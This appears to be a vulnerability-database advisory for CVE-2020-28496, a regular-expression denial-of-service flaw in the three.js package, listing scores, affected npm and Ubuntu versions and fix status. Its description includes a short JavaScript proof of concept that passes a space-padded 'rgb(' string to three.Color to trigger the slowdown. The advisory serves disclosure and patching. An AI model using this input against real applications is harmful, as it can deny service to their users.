CVE-2020-28496 Regular Expression Denial of Service (ReDoS)
HighCVSS 7.5
EPSS 2.6%
- Published
- Updated
- Exploit status
- No public exploit known
- Technology
- UbuntuDebian
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Upgrade path
10 packages: 2 fixed, 8 with no fix yet.
| Package | Affected | Fixed in | Status |
|---|---|---|---|
| ubuntu/three.js(Ubuntu 16.04) | = 73+dfsg-1; All versions | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 18.04) | = 80+dfsg2-1; All versions | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 20.04) | = 80+dfsg2-2; = 111+dfsg1-1; All versions | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 22.04) | = 111+dfsg1-2; All versions | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 24.04) | = 111+dfsg1-3; All versions | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 25.10) | = 111+dfsg1-3; All versions | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 26.04) | = 111+dfsg1-3; = 111+dfsg1-3build1; = 111+dfsg1-4; = 111+dfsg1-5 +1 more | No fix listed | No fix yet |
| ubuntu/three.js(Ubuntu 26.10) | = 111+dfsg1-5; All versions | No fix listed | No fix yet |
| npm three(npm) | < 0.125.0 | 0.125.0 | Fixed |
| three project three | < 0.125.0 | 0.125.0 | Fixed |
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| npm three(npm) | < 0.125.0 | 0.125.0 |
| three project three | < 0.125.0 | 0.125.0 |
| ubuntu/three.js(Ubuntu:24.04) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:26.04) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:26.10) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:22.04) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:16.04) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:16.04) | = 73+dfsg-1 | No fix listed |
| ubuntu/three.js(Ubuntu:18.04) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:18.04) | = 80+dfsg2-1 | No fix listed |
| ubuntu/three.js(Ubuntu:20.04) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:20.04) | = 80+dfsg2-2 | No fix listed |
| ubuntu/three.js(Ubuntu:20.04) | = 111+dfsg1-1 | No fix listed |
| ubuntu/three.js(Ubuntu:22.04) | = 111+dfsg1-2 | No fix listed |
| ubuntu/three.js(Ubuntu:24.04) | = 111+dfsg1-3 | No fix listed |
| ubuntu/three.js(Ubuntu:25.10) | All versions | No fix listed |
| ubuntu/three.js(Ubuntu:25.10) | = 111+dfsg1-3 | No fix listed |
| ubuntu/three.js(Ubuntu:26.10) | = 111+dfsg1-5 | No fix listed |
| ubuntu/three.js(Ubuntu:26.04) | = 111+dfsg1-3 | No fix listed |
| ubuntu/three.js(Ubuntu:26.04) | = 111+dfsg1-3build1 | No fix listed |
| ubuntu/three.js(Ubuntu:26.04) | = 111+dfsg1-4 | No fix listed |
| ubuntu/three.js(Ubuntu:26.04) | = 111+dfsg1-5 | No fix listed |
References
- nvd.nist.gov third-party-advisory vendor-advisory
- github.com exploit issue-tracking third-party-advisory
- github.com issue-tracking patch third-party-advisory
- snyk.io exploit issue-tracking third-party-advisory
- snyk.io exploit issue-tracking third-party-advisory
- github.com
- Ubuntu CVE tracker issue-tracking vendor-advisory
- www.cve.org issue-tracking
- Debian Security Tracker CVE-2020-28496 vendor-advisory